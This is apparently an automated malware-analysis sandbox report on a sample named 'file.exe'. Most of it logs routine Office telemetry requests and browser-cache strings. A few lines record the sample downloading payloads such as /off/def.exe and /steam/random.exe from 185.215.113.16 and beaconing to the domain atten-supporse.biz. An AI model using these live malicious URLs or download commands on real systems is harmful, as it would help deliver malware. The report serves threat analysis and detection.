Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/e
Source: file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506465781.00000000004FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeicrosoft
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2406624241.000000000082A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microx
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_97.6.dr, chromecache_86.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
